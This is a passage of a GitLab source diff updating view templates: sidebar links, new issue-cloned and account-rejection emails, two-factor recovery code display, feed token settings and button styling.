@@ -322,7 +324,8 @@
= render_if_exists 'layouts/nav/sidebar/project_packages_link'
- = render 'layouts/nav/sidebar/analytics_links', links: project_analytics_navbar_links(@project, current_user)
+ - if project_nav_tab? :analytics
+ = render 'layouts/nav/sidebar/analytics_links', links: project_analytics_navbar_links(@project, current_user)
- if project_nav_tab?(:confluence)
- confluence_url = project_wikis_confluence_path(@project)
@@ -435,8 +438,6 @@
%span
= _('Pages')
- = render_if_exists 'projects/sidebar/settings_audit_events'
-
= render 'shared/sidebar_toggle_button'
-# Shortcut to Project > Activity
diff --git a/app/views/layouts/project.html.haml b/app/views/layouts/project.html.haml
index 62e5431e290..2df502d2899 100644
--- a/app/views/layouts/project.html.haml
+++ b/app/views/layouts/project.html.haml
@@ -10,7 +10,7 @@
- content_for :project_javascripts do
- project = @target_project || @project
- if current_user
- = javascript_tag nonce: true do
+ = javascript_tag do
:plain
window.uploads_path = "#{project_uploads_path(project)}";
diff --git a/app/views/layouts/snippets.html.haml b/app/views/layouts/snippets.html.haml
index 6cc53ba3342..54b5ec85ccc 100644
--- a/app/views/layouts/snippets.html.haml
+++ b/app/views/layouts/snippets.html.haml
@@ -4,7 +4,7 @@
- content_for :page_specific_javascripts do
- if snippets_upload_path
- = javascript_tag nonce: true do
+ = javascript_tag do
:plain
window.uploads_path = "#{snippets_upload_path}";
diff --git a/app/views/notify/issue_cloned_email.html.haml b/app/views/notify/issue_cloned_email.html.haml
new file mode 100644
index 00000000000..a9e21e74e22
--- /dev/null
+++ b/app/views/notify/issue_cloned_email.html.haml
@@ -0,0 +1,7 @@
+- author_link = link_to @author.name, user_url(@author)
+- if @can_access_project
+ - string = _("%{author_link} cloned %{original_issue} to %{new_issue}.").html_safe
+- else
+ - string = _("%{author_link} cloned %{original_issue}. You don't have access to the new project.").html_safe
+%p
+ = string % { author_link: author_link, original_issue: issue_reference_link(@issue), new_issue: issue_reference_link(@new_issue, full: true) }
diff --git a/app/views/notify/issue_cloned_email.text.erb b/app/views/notify/issue_cloned_email.text.erb
new file mode 100644
index 00000000000..8d3ff14df5a
--- /dev/null
+++ b/app/views/notify/issue_cloned_email.text.erb
@@ -0,0 +1,8 @@
+Issue was cloned.
+
+<% if @can_access_project %>
+ New issue location:
+ <%= project_issue_url(@new_issue.project, @new_issue) %>
+<% else %>
+ You don't have access to the project.
+<% end %>
diff --git a/app/views/notify/new_release_email.html.haml b/app/views/notify/new_release_email.html.haml
index 45e99f3c07a..9cef4cd85cd 100644
--- a/app/views/notify/new_release_email.html.haml
+++ b/app/views/notify/new_release_email.html.haml
@@ -15,4 +15,4 @@
%p
%h4= _("Release notes:")
- = markdown_field(@release, :description)
+ = markdown(@release.description, pipeline: :email, author: @release.author)
diff --git a/app/views/notify/user_admin_rejection_email.html.haml b/app/views/notify/user_admin_rejection_email.html.haml
new file mode 100644
index 00000000000..24d6c05fa38
--- /dev/null
+++ b/app/views/notify/user_admin_rejection_email.html.haml
@@ -0,0 +1,5 @@
+= email_default_heading(_('Hello %{name},') % { name: @name })
+%p
+ = _('Your request to join %{host} has been rejected.').html_safe % { host: link_to(root_url, root_url) }
+%p
+ = _('Please contact your GitLab administrator if you think this is an error.')
diff --git a/app/views/notify/user_admin_rejection_email.text.erb b/app/views/notify/user_admin_rejection_email.text.erb
new file mode 100644
index 00000000000..cc676b82934
--- /dev/null
+++ b/app/views/notify/user_admin_rejection_email.text.erb
@@ -0,0 +1,6 @@
+<%= _('Hello %{name},') % { name: @name } %>
+
+<%= _('Your request to join %{host} has been rejected.') % { host: root_url } %>
+
+<%= _('Please contact your GitLab administrator if you think this is an error.') %>
+
diff --git a/app/views/profiles/accounts/show.html.haml b/app/views/profiles/accounts/show.html.haml
index fed40b7f119..ca64c5f57b3 100644
--- a/app/views/profiles/accounts/show.html.haml
+++ b/app/views/profiles/accounts/show.html.haml
@@ -7,6 +7,14 @@
.gl-alert-body
= s_('Profiles|Some options are unavailable for LDAP accounts')
+- if params[:two_factor_auth_enabled_successfully]
+ .gl-alert.gl-alert-success.gl-my-5{ role: 'alert' }
+ = sprite_icon('check-circle', size: 16, css_class: 'gl-alert-icon gl-alert-icon-no-title')
+ %button.gl-alert-dismiss.js-close-2fa-enabled-success-alert{ type: 'button', aria: { label: _('Close') } }
+ = sprite_icon('close', size: 16)
+ .gl-alert-body
+ = _('Congratulations! You have enabled Two-factor Authentication!')
+
.row.gl-mt-3
.col-lg-4.profile-settings-sidebar
%h4.gl-mt-0
@@ -71,6 +79,11 @@
%strong= current_user.solo_owned_groups.map(&:name).join(', ')
%p
= s_('Profiles|You must transfer ownership or delete these groups before you can delete your account.')
+ - elsif !current_user.can_remove_self?
+ %p
+ = s_('Profiles|GitLab is unable to verify your identity automatically.')
+ %p
+ = s_('Profiles|Please email %{data_request} to begin the account deletion process.').html_safe % { data_request: mail_to('personal-data-request@gitlab.com') }
- else
%p
= s_("Profiles|You don't have access to delete this user.")
diff --git a/app/views/profiles/keys/_form.html.haml b/app/views/profiles/keys/_form.html.haml
index 6a420d7996a..81a543de7a3 100644
--- a/app/views/profiles/keys/_form.html.haml
+++ b/app/views/profiles/keys/_form.html.haml
@@ -21,7 +21,7 @@
%strong= _('Oops, are you sure?')
%p= s_("Profiles|This doesn't look like a public SSH key, are you sure you want to add it? It will be publicly visible.")
- %button.btn.btn-success.js-add-ssh-key-validation-confirm-submit= _("Yes, add it")
+ %button.btn.gl-button.btn-success.js-add-ssh-key-validation-confirm-submit= _("Yes, add it")
.gl-mt-3
= f.submit s_('Profiles|Add key'), class: "gl-button btn btn-success js-add-ssh-key-validation-original-submit qa-add-key-button"
diff --git a/app/views/profiles/notifications/_group_settings.html.haml b/app/views/profiles/notifications/_group_settings.html.haml
index ea698a296fb..b1578886098 100644
--- a/app/views/profiles/notifications/_group_settings.html.haml
+++ b/app/views/profiles/notifications/_group_settings.html.haml
@@ -12,5 +12,5 @@
= render 'shared/notifications/button', notification_setting: setting, emails_disabled: emails_disabled
.table-section.section-30
- = form_for setting, url: profile_notifications_group_path(group), method: :put, html: { class: 'update-notifications' } do |f|
+ = form_for setting, url: profile_notifications_group_path(group), method: :put, html: { class: 'update-notifications gl-display-flex' } do |f|
= f.select :notification_email, @user.public_verified_emails, { include_blank: 'Global notification email' }, class: 'select2 js-group-notification-email'
diff --git a/app/views/profiles/notifications/show.html.haml b/app/views/profiles/notifications/show.html.haml
index 9c5cfe35cda..e1345a94fb1 100644
--- a/app/views/profiles/notifications/show.html.haml
+++ b/app/views/profiles/notifications/show.html.haml
@@ -3,10 +3,14 @@
%div
- if @user.errors.any?
- .gl-alert.gl-alert-danger
- %ul
- - @user.errors.full_messages.each do |msg|
- %li= msg
+ .gl-alert.gl-alert-danger.gl-my-5
+ %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
+ = sprite_icon('close', css_class: 'gl-icon')
+ = sprite_icon('error', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ %ul
+ - @user.errors.full_messages.each do |msg|
+ %li= msg
= hidden_field_tag :notification_type, 'global'
.row.gl-mt-3
diff --git a/app/views/profiles/personal_access_tokens/index.html.haml b/app/views/profiles/personal_access_tokens/index.html.haml
index 11750f2a6d5..577b64ba17a 100644
--- a/app/views/profiles/personal_access_tokens/index.html.haml
+++ b/app/views/profiles/personal_access_tokens/index.html.haml
@@ -32,22 +32,23 @@
active_tokens: @active_personal_access_tokens,
revoke_route_helper: ->(token) { revoke_profile_personal_access_token_path(token) }
-%hr
-.row.gl-mt-3
- .col-lg-4.profile-settings-sidebar
- %h4.gl-mt-0
- = s_('AccessTokens|Feed token')
- %p
- = s_('AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs.')
- %p
- = s_('AccessTokens|It cannot be used to access any other data.')
- .col-lg-8.feed-token-reset
- = label_tag :feed_token, s_('AccessTokens|Feed token'), class: 'label-bold'
- = text_field_tag :feed_token, current_user.feed_token, class: 'form-control js-select-on-focus', readonly: true
- %p.form-text.text-muted
- - reset_link = link_to s_('AccessTokens|reset it'), [:reset, :feed_token, :profile], method: :put, data: { confirm: s_('AccessTokens|Are you sure? Any RSS or calendar URLs currently in use will stop working.') }
- - reset_message = s_('AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens.') % { link_reset_it: reset_link }
- = reset_message.html_safe
+- unless Gitlab::CurrentSettings.disable_feed_token
+ %hr
+ .row.gl-mt-3
+ .col-lg-4.profile-settings-sidebar
+ %h4.gl-mt-0
+ = s_('AccessTokens|Feed token')
+ %p
+ = s_('AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs.')
+ %p
+ = s_('AccessTokens|It cannot be used to access any other data.')
+ .col-lg-8.feed-token-reset
+ = label_tag :feed_token, s_('AccessTokens|Feed token'), class: 'label-bold'
+ = text_field_tag :feed_token, current_user.feed_token, class: 'form-control js-select-on-focus', readonly: true
+ %p.form-text.text-muted
+ - reset_link = link_to s_('AccessTokens|reset it'), [:reset, :feed_token, :profile], method: :put, data: { confirm: s_('AccessTokens|Are you sure? Any RSS or calendar URLs currently in use will stop working.') }
+ - reset_message = s_('AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens.') % { link_reset_it: reset_link }
+ = reset_message.html_safe
- if incoming_email_token_enabled?
%hr
diff --git a/app/views/profiles/preferences/show.html.haml b/app/views/profiles/preferences/show.html.haml
index ca5972f1b46..aeecb0c0d72 100644
--- a/app/views/profiles/preferences/show.html.haml
+++ b/app/views/profiles/preferences/show.html.haml
@@ -79,13 +79,12 @@
= f.check_box :show_whitespace_in_diffs, class: 'form-check-input'
= f.label :show_whitespace_in_diffs, class: 'form-check-label' do
= s_('Preferences|Show whitespace changes in diffs')
- - if Feature.enabled?(:view_diffs_file_by_file, default_enabled: true)
- .form-group.form-check
- = f.check_box :view_diffs_file_by_file, class: 'form-check-input'
- = f.label :view_diffs_file_by_file, class: 'form-check-label' do
- = s_("Preferences|Show one file at a time on merge request's Changes tab")
- .form-text.text-muted
- = s_("Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser.")
+ .form-group.form-check
+ = f.check_box :view_diffs_file_by_file, class: 'form-check-input'
+ = f.label :view_diffs_file_by_file, class: 'form-check-label' do
+ = s_("Preferences|Show one file at a time on merge request's Changes tab")
+ .form-text.text-muted
+ = s_("Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser.")
.form-group
= f.label :tab_width, s_('Preferences|Tab width'), class: 'label-bold'
= f.number_field :tab_width,
diff --git a/app/views/profiles/two_factor_auths/_codes.html.haml b/app/views/profiles/two_factor_auths/_codes.html.haml
index 2cb7e022912..178a9d3f8b4 100644
--- a/app/views/profiles/two_factor_auths/_codes.html.haml
+++ b/app/views/profiles/two_factor_auths/_codes.html.haml
@@ -1,13 +1,18 @@
-%p.slead
- - lose_2fa_message = _('Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account.') % { b_start:'<b>', b_end:'</b>' }
- = lose_2fa_message.html_safe
+- show_success_alert = local_assigns.fetch(:show_success_alert, nil)
-.codes.card{ data: { qa_selector: 'codes_content' } }
- %ul
- - @codes.each do |code|
- %li
- %span.monospace{ data: { qa_selector: 'code_content' } }= code
+- if Feature.enabled?(:vue_2fa_recovery_codes, current_user, default_enabled: true)
+ .js-2fa-recovery-codes{ data: { codes: @codes.to_json, profile_account_path: profile_account_path(two_factor_auth_enabled_successfully: show_success_alert) } }
+- else
+ %p.slead
+ - lose_2fa_message = _('Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account.') % { b_start:'<b>', b_end:'</b>' }
+ = lose_2fa_message.html_safe
-.d-flex
- = link_to _('Proceed'), profile_account_path, class: 'gl-button btn btn-success gl-mr-3', data: { qa_selector: 'proceed_button' }
- = link_to _('Download codes'), "data:text/plain;charset=utf-8,#{CGI.escape(@codes.join("\n"))}", download: "gitlab-recovery-codes.txt", class: 'gl-button btn btn-default'
+ .codes.card{ data: { qa_selector: 'codes_content' } }
+ %ul
+ - @codes.each do |code|
+ %li
+ %span.monospace{ data: { qa_selector: 'code_content' } }= code
+
+ .d-flex
+ = link_to _('Proceed'), profile_account_path, class: 'gl-button btn btn-success gl-mr-3', data: { qa_selector: 'proceed_button' }
+ = link_to _('Download codes'), "data:text/plain;charset=utf-8,#{CGI.escape(@codes.join("\n"))}", download: "gitlab-recovery-codes.txt", class: 'gl-button btn btn-default'
diff --git a/app/views/profiles/two_factor_auths/codes.html.haml b/app/views/profiles/two_factor_auths/codes.html.haml
index 53907ebffab..0d8c5ec5dbf 100644
--- a/app/views/profiles/two_factor_auths/codes.html.haml
+++ b/app/views/profiles/two_factor_auths/codes.html.haml
@@ -1,6 +1,4 @@
- page_title _('Recovery Codes'), _('Two-factor Authentication')
+- add_page_specific_style 'page_bundles/profile_two_factor_auth'
-%h3.page-title
- = _('Two-factor Authentication Recovery codes')
-%hr
= render 'codes'
diff --git a/app/views/profiles/two_factor_auths/create.html.haml b/app/views/profiles/two_factor_auths/create.html.haml
index 5a756cca0ab..be4800024cf 100644
--- a/app/views/profiles/two_factor_auths/create.html.haml
+++ b/app/views/profiles/two_factor_auths/create.html.haml
@@ -1,6 +1,8 @@
- page_title _('Two-factor Authentication'), _('Account')
+- add_page_specific_style 'page_bundles/profile_two_factor_auth'
-.gl-alert.gl-alert-success.gl-mb-5
- = _('Congratulations! You have enabled Two-factor Authentication!')
+- unless Feature.enabled?(:vue_2fa_recovery_codes, current_user, default_enabled: true)
+ .gl-alert.gl-alert-success.gl-mb-5
+ = _('Congratulations! You have enabled Two-factor Authentication!')
-= render 'codes'
+= render 'codes', show_success_alert: true
diff --git a/app/views/projects/_archived_notice.html.haml b/app/views/projects/_archived_notice.html.haml
index 522693ae24a..dcece8ab42f 100644
--- a/app/views/projects/_archived_notice.html.haml
+++ b/app/views/projects/_archived_notice.html.haml
@@ -1,5 +1,5 @@
- if project.archived?
.text-warning.center.prepend-top-20
%p
- = icon("exclamation-triangle fw")
+ = sprite_icon('warning-solid')
= _('Archived project! Repository and other project resources are read only')
diff --git a/app/views/projects/_commit_button.html.haml b/app/views/projects/_commit_button.html.haml
index 5f7ed46297b..87c0933747d 100644
--- a/app/views/projects/_commit_button.html.haml
+++ b/app/views/projects/_commit_button.html.haml
@@ -1,7 +1,7 @@
.form-actions
- = button_tag 'Commit changes', id: 'commit-changes', class: 'btn commit-btn js-commit-button btn-success qa-commit-button'
+ = button_tag 'Commit changes', id: 'commit-changes', class: 'gl-button btn btn-success js-commit-button qa-commit-button'
= link_to 'Cancel', cancel_path,
- class: 'btn btn-cancel', data: {confirm: leave_edit_message}
+ class: 'gl-button btn btn-default btn-cancel', data: {confirm: leave_edit_message}
= render 'shared/projects/edit_information'
diff --git a/app/views/projects/_customize_workflow.html.haml b/app/views/projects/_customize_workflow.html.haml
index a41791f0eca..8e4e5ca93e0 100644
--- a/app/views/projects/_customize_workflow.html.haml
+++ b/app/views/projects/_customize_workflow.html.haml
@@ -5,4 +5,4 @@
%p
Get started with GitLab by enabling features that work best for your project. From issues and wikis, to merge requests and pipelines, GitLab can help manage your workflow from idea to production!
- if can?(current_user, :admin_project, @project)
- = link_to "Get started", edit_project_path(@project), class: "btn btn-success"
+ = link_to "Get started", edit_project_path(@project), class: "gl-button btn btn-success"
diff --git a/app/views/projects/_files.html.haml b/app/views/projects/_files.html.haml
index 81c42de13f0..88dcc74a465 100644
--- a/app/views/projects/_files.html.haml
+++ b/app/views/projects/_files.html.haml
@@ -3,14 +3,17 @@
- project = local_assigns.fetch(:project) { @project }
- show_auto_devops_callout = show_auto_devops_callout?(@project)
- add_page_startup_api_call logs_file_project_ref_path(@project, ref, @path, format: "json", offset: 0)
-- if @tree.readme
- - add_page_startup_api_call project_blob_path(@project, tree_join(@ref, @tree.readme.path), viewer: "rich", format: "json")
+- if readme_path = @project.repository.readme_path
+ - add_page_startup_api_call project_blob_path(@project, tree_join(@ref, readme_path), viewer: "rich", format: "json")
#tree-holder.tree-holder.clearfix
.nav-block
= render 'projects/tree/tree_header', tree: @tree
#js-last-commit
+ .info-well.gl-display-none.gl-display-sm-flex.project-last-commit
+ .gl-spinner-container.m-auto
+ = loading_icon(size: 'md', color: 'dark', css_class: 'align-text-bottom')
- if is_project_overview
.project-buttons.gl-mb-3.js-show-on-project-root
diff --git a/app/views/projects/_fork_suggestion.html.haml b/app/views/projects/_fork_suggestion.html.haml
index 0b616a0c1ce..9e6ff4a5d7a 100644
--- a/app/views/projects/_fork_suggestion.html.haml
+++ b/app/views/projects/_fork_suggestion.html.haml
@@ -6,6 +6,6 @@
edit
files in this project directly. Please fork this project,
make your changes there, and submit a merge request.
- = link_to 'Fork', nil, method: :post, class: 'js-fork-suggestion-button btn btn-grouped btn-inverted btn-success'
- %button.js-cancel-fork-suggestion-button.btn.btn-grouped{ type: 'button' }
+ = link_to 'Fork', nil, method: :post, class: 'js-fork-suggestion-button gl-button btn btn-grouped btn-inverted btn-success'
+ %button.js-cancel-fork-suggestion-button.gl-button.btn.btn-grouped{ type: 'button' }
Cancel
diff --git a/app/views/projects/_home_panel.html.haml b/app/views/projects/_home_panel.html.haml
index 569255ec2e5..ebb0dd8b39f 100644
--- a/app/views/projects/_home_panel.html.haml
+++ b/app/views/projects/_home_panel.html.haml
@@ -19,7 +19,7 @@
= render_if_exists 'compliance_management/compliance_framework/compliance_framework_badge', project: @project
.home-panel-metadata.d-flex.flex-wrap.text-secondary.gl-font-base.gl-font-weight-normal.gl-line-height-normal
- if can?(current_user, :read_project, @project)
- %span.text-secondary{ itemprop: 'identifier' }
+ %span.text-secondary{ itemprop: 'identifier', data: { qa_selector: 'project_id_content' } }
= s_('ProjectPage|Project ID: %{project_id}') % { project_id: @project.id }
- if current_user
%span.access-request-links.gl-ml-3
@@ -63,7 +63,7 @@
.home-panel-home-desc.mt-1
- if @project.description.present?
.home-panel-description.text-break
- .home-panel-description-markdown.read-more-container{ itemprop: 'abstract' }
+ .home-panel-description-markdown.read-more-container{ itemprop: 'description' }
= markdown_field(@project, :description)
%button.btn.btn-blank.btn-link.js-read-more-trigger.d-lg-none{ type: "button" }
= _("Read more")
diff --git a/app/views/projects/_import_project_pane.html.haml b/app/views/projects/_import_project_pane.html.haml
index 8b94133fd8a..27d75591d3e 100644
--- a/app/views/projects/_import_project_pane.html.haml
+++ b/app/views/projects/_import_project_pane.html.haml
@@ -8,73 +8,77 @@
.import-buttons
- if gitlab_project_import_enabled?
.import_gitlab_project.has-tooltip{ data: { container: 'body' } }
- = link_to new_import_gitlab_project_path, class: 'btn btn_import_gitlab_project project-submit', **tracking_attrs(track_label, 'click_button', 'gitlab_export') do
- = sprite_icon('tanuki')
+ = link_to new_import_gitlab_project_path, class: 'gl-button btn-default btn btn_import_gitlab_project project-submit', **tracking_attrs(track_label, 'click_button', 'gitlab_export') do
+ .gl-button-icon
+ = sprite_icon('tanuki')
= _("GitLab export")
- if github_import_enabled?
%div
- = link_to new_import_github_path, class: 'btn js-import-github', **tracking_attrs(track_label, 'click_button', 'github') do
- = sprite_icon('github')
+ = link_to new_import_github_path, class: 'gl-button btn-default btn js-import-github', **tracking_attrs(track_label, 'click_button', 'github') do
+ .gl-button-icon
+ = sprite_icon('github')
GitHub
- if bitbucket_import_enabled?
%div
- = link_to status_import_bitbucket_path, class: "btn import_bitbucket #{'how_to_import_link' unless bitbucket_import_configured?}",
+ = link_to status_import_bitbucket_path, class: "gl-button btn-default btn import_bitbucket #{'how_to_import_link' unless bitbucket_import_configured?}",
**tracking_attrs(track_label, 'click_button', 'bitbucket_cloud') do
- = sprite_icon('bitbucket')
+ .gl-button-icon
+ = sprite_icon('bitbucket')
Bitbucket Cloud
- unless bitbucket_import_configured?
= render 'projects/bitbucket_import_modal'
- if bitbucket_server_import_enabled?
%div
- = link_to status_import_bitbucket_server_path, class: "btn import_bitbucket", **tracking_attrs(track_label, 'click_button', 'bitbucket_server') do
- = sprite_icon('bitbucket')
+ = link_to status_import_bitbucket_server_path, class: "gl-button btn-default btn import_bitbucket", **tracking_attrs(track_label, 'click_button', 'bitbucket_server') do
+ .gl-button-icon
+ = sprite_icon('bitbucket')
Bitbucket Server
%div
- if gitlab_import_enabled?
%div
- = link_to status_import_gitlab_path, class: "btn import_gitlab #{'how_to_import_link' unless gitlab_import_configured?}",
+ = link_to status_import_gitlab_path, class: "gl-button btn-default btn import_gitlab #{'how_to_import_link' unless gitlab_import_configured?}",
**tracking_attrs(track_label, 'click_button', 'gitlab_com') do
- = sprite_icon('tanuki')
+ .gl-button-icon
+ = sprite_icon('tanuki')
= _("GitLab.com")
- unless gitlab_import_configured?
= render 'projects/gitlab_import_modal'
- - if google_code_import_enabled?
- %div
- = link_to new_import_google_code_path, class: 'btn import_google_code', **tracking_attrs(track_label, 'click_button', 'google_code') do
- = sprite_icon('google')
- Google Code
-
- if fogbugz_import_enabled?
%div
- = link_to new_import_fogbugz_path, class: 'btn import_fogbugz', **tracking_attrs(track_label, 'click_button', 'fogbugz') do
- = sprite_icon('bug')
+ = link_to new_import_fogbugz_path, class: 'gl-button btn-default btn import_fogbugz', **tracking_attrs(track_label, 'click_button', 'fogbugz') do
+ .gl-button-icon
+ = sprite_icon('bug')
FogBugz
- if gitea_import_enabled?
%div
- = link_to new_import_gitea_path, class: 'btn import_gitea', **tracking_attrs(track_label, 'click_button', 'gitea') do
- = custom_icon('gitea_logo')
+ = link_to new_import_gitea_path, class: 'gl-button btn-default btn import_gitea', **tracking_attrs(track_label, 'click_button', 'gitea') do
+ .gl-button-icon
+ = custom_icon('gitea_logo')
Gitea
- if git_import_enabled?
%div
- %button.btn.btn-svg.js-toggle-button.js-import-git-toggle-button{ type: "button", data: { toggle_open_class: 'active' }, **tracking_attrs(track_label, 'click_button', 'repo_url') }
- = sprite_icon('link', css_class: 'gl-icon')
+ %button.gl-button.btn-default.btn.btn-svg.js-toggle-button.js-import-git-toggle-button{ type: "button", data: { toggle_open_class: 'active' }, **tracking_attrs(track_label, 'click_button', 'repo_url') }
+ .gl-button-icon
+ = sprite_icon('link', css_class: 'gl-icon')
= _('Repo by URL')
- if manifest_import_enabled?
%div
- = link_to new_import_manifest_path, class: 'btn import_manifest', **tracking_attrs(track_label, 'click_button', 'manifest_file') do
- = sprite_icon('doc-text')
+ = link_to new_import_manifest_path, class: 'gl-button btn-default btn import_manifest', **tracking_attrs(track_label, 'click_button', 'manifest_file') do
+ .gl-button-icon
+ = sprite_icon('doc-text')
Manifest file
- if phabricator_import_enabled?
%div
- = link_to new_import_phabricator_path, class: 'btn import_phabricator', data: { track_label: "#{track_label}", track_event: "click_button", track_property: "phabricator" } do
- = custom_icon('issues')
+ = link_to new_import_phabricator_path, class: 'gl-button btn-default btn import_phabricator', data: { track_label: "#{track_label}", track_event: "click_button", track_property: "phabricator" } do
+ .gl-button-icon
+ = custom_icon('issues')
= _("Phabricator Tasks")
diff --git a/app/views/projects/_invite_members.html.haml b/app/views/projects/_invite_members.html.haml
new file mode 100644
index 00000000000..ef030cabc93
--- /dev/null
+++ b/app/views/projects/_invite_members.html.haml
@@ -0,0 +1,8 @@
+%h4.gl-mt-0.gl-mb-3{ data: { testid: 'invite-member-section',
+ track_label: 'invite_members_empty_project',
+ track_event: 'render' } }
+ = s_('InviteMember|Invite your team')
+%p= s_('InviteMember|Add members to this project and start collaborating with your team.')
+= link_to s_('InviteMember|Invite members'), project_project_members_path(@project, sort: :access_level_desc),
+ class: 'gl-button btn btn-success gl-mb-8 gl-xs-w-full',
+ data: { track_event: 'click_button', track_label: 'invite_members_empty_project' }
diff --git a/app/views/projects/_project_templates.html.haml b/app/views/projects/_project_templates.html.haml
index 79221c59ae4..d1ff52548cd 100644
--- a/app/views/projects/_project_templates.html.haml
+++ b/app/views/projects/_project_templates.html.haml
@@ -5,17 +5,11 @@
%li.built-in-tab
%a.nav-link.active{ href: "#built-in", data: { toggle: 'tab'} }
= _('Built-in')
- %span.badge.badge-pill= Gitlab::ProjectTemplate.all.count
- %li.sample-data-templates-tab
- %a.nav-link{ href: "#sample-data-templates", data: { toggle: 'tab'} }
- = _('Sample Data')
- %span.badge.badge-pill= Gitlab::SampleDataTemplate.all.count
+ %span.badge.badge-pill= Gitlab::SampleDataTemplate.all.count + Gitlab::ProjectTemplate.all.count
.tab-content
.project-templates-buttons.import-buttons.tab-pane.active#built-in
- = render partial: 'projects/project_templates/template', collection: Gitlab::ProjectTemplate.all
- .project-templates-buttons.import-buttons.tab-pane#sample-data-templates
- = render partial: 'projects/project_templates/template', collection: Gitlab::SampleDataTemplate.all
+ = render partial: 'projects/project_templates/template', collection: Gitlab::SampleDataTemplate.all + Gitlab::ProjectTemplate.all
.project-fields-form
= render 'projects/project_templates/project_fields_form'
diff --git a/app/views/projects/_service_desk_settings.html.haml b/app/views/projects/_service_desk_settings.html.haml
index 7c08955983a..3b2b3a2ba67 100644
--- a/app/views/projects/_service_desk_settings.html.haml
+++ b/app/views/projects/_service_desk_settings.html.haml
@@ -12,6 +12,7 @@
enabled: "#{@project.service_desk_enabled}",
incoming_email: (@project.service_desk_incoming_address if @project.service_desk_enabled),
custom_email: (@project.service_desk_custom_address if @project.service_desk_enabled),
+ custom_email_enabled: "#{@project.service_desk_custom_address_enabled?}",
selected_template: "#{@project.service_desk_setting&.issue_template_key}",
outgoing_name: "#{@project.service_desk_setting&.outgoing_name}",
project_key: "#{@project.service_desk_setting&.project_key}",
diff --git a/app/views/projects/blob/_content.html.haml b/app/views/projects/blob/_content.html.haml
index 5b77e31eb00..7afbd85cd6d 100644
--- a/app/views/projects/blob/_content.html.haml
+++ b/app/views/projects/blob/_content.html.haml
@@ -1,10 +1,6 @@
- simple_viewer = blob.simple_viewer
- rich_viewer = blob.rich_viewer
- rich_viewer_active = rich_viewer && params[:viewer] != 'simple'
-- blob_data = defined?(@blob) ? @blob.data : {}
-- is_ci_config_file = defined?(@blob) && defined?(@project) ? editing_ci_config?.to_s : 'false'
-
-#js-blob-toggle-graph-preview{ data: { blob_data: blob_data, is_ci_config_file: is_ci_config_file } }
= render 'projects/blob/viewer', viewer: simple_viewer, hidden: rich_viewer_active
diff --git a/app/views/projects/blob/_viewer_switcher.html.haml b/app/views/projects/blob/_viewer_switcher.html.haml
index 8e3cf607bbf..c6b13deaece 100644
--- a/app/views/projects/blob/_viewer_switcher.html.haml
+++ b/app/views/projects/blob/_viewer_switcher.html.haml
@@ -8,5 +8,5 @@
= sprite_icon(simple_viewer.switcher_icon)
- rich_label = "Display #{rich_viewer.switcher_title}"
- %button.btn.gl-button.btn-default.btn-sm.js-blob-viewer-switch-btn.has-tooltip{ 'aria-label' => rich_label, title: rich_label, data: { viewer: 'rich', container: 'body' } }>
+ %button.btn.gl-button.btn-default.btn-sm.js-blob-viewer-switch-btn.gl-mr-3.has-tooltip{ 'aria-label' => rich_label, title: rich_label, data: { viewer: 'rich', container: 'body' } }>
= sprite_icon(rich_viewer.switcher_icon)
diff --git a/app/views/projects/blob/edit.html.haml b/app/views/projects/blob/edit.html.haml
index 54c47e7af38..abfed450316 100644
--- a/app/views/projects/blob/edit.html.haml
+++ b/app/views/projects/blob/edit.html.haml
@@ -9,9 +9,8 @@
= link_to "the file", project_blob_path(@project, tree_join(@branch_name, @file_path)), target: "_blank", rel: 'noopener noreferrer', class: 'gl-link'
and make sure your changes will not unintentionally remove theirs.
-.editor-title-row
- %h3.page-title.blob-edit-page-title
- Edit file
+%h3.page-title.blob-edit-page-title
+ Edit file
.file-editor
%ul.nav-links.no-bottom.js-edit-mode.nav.nav-tabs
%li.active
diff --git a/app/views/projects/blob/new.html.haml b/app/views/projects/blob/new.html.haml
index 2a33afabb7c..8722819fe4f 100644
--- a/app/views/projects/blob/new.html.haml
+++ b/app/views/projects/blob/new.html.haml
@@ -1,9 +1,8 @@
- breadcrumb_title _("Repository")
- page_title _("New File"), @path.presence, @ref
-.editor-title-row
- %h3.page-title.blob-new-page-title
- New file
+%h3.page-title.blob-new-page-title
+ New file
.file-editor
= form_tag(project_create_blob_path(@project, @id), method: :post, class: 'js-edit-blob-form js-new-blob-form js-quick-submit js-requires-input', data: blob_editor_paths(@project)) do
= render 'projects/blob/editor', ref: @ref
diff --git a/app/views/projects/blob/viewers/_metrics_dashboard_yml_loading.html.haml b/app/views/projects/blob/viewers/_metrics_dashboard_yml_loading.html.haml
index aedfb64d3e4..db4b04eaeb8 100644
--- a/app/views/projects/blob/viewers/_metrics_dashboard_yml_loading.html.haml
+++ b/app/views/projects/blob/viewers/_metrics_dashboard_yml_loading.html.haml
@@ -1,4 +1,4 @@
-= icon('spinner spin fw')
+= loading_icon(css_class: "gl-vertical-align-text-bottom mr-1")
= _('Metrics Dashboard YAML definition') + '…'
= link_to _('Learn more'), help_page_path('operations/metrics/dashboards/yaml.md')
diff --git a/app/views/projects/buttons/_clone.html.haml b/app/views/projects/buttons/_clone.html.haml
index cf58cff7445..938dfc69500 100644
--- a/app/views/projects/buttons/_clone.html.haml
+++ b/app/views/projects/buttons/_clone.html.haml
@@ -2,7 +2,7 @@
- dropdown_class = local_assigns.fetch(:dropdown_class, '')
.git-clone-holder.js-git-clone-holder
- %a#clone-dropdown.gl-button.btn.btn-primary.clone-dropdown-btn.qa-clone-dropdown{ href: '#', data: { toggle: 'dropdown' } }
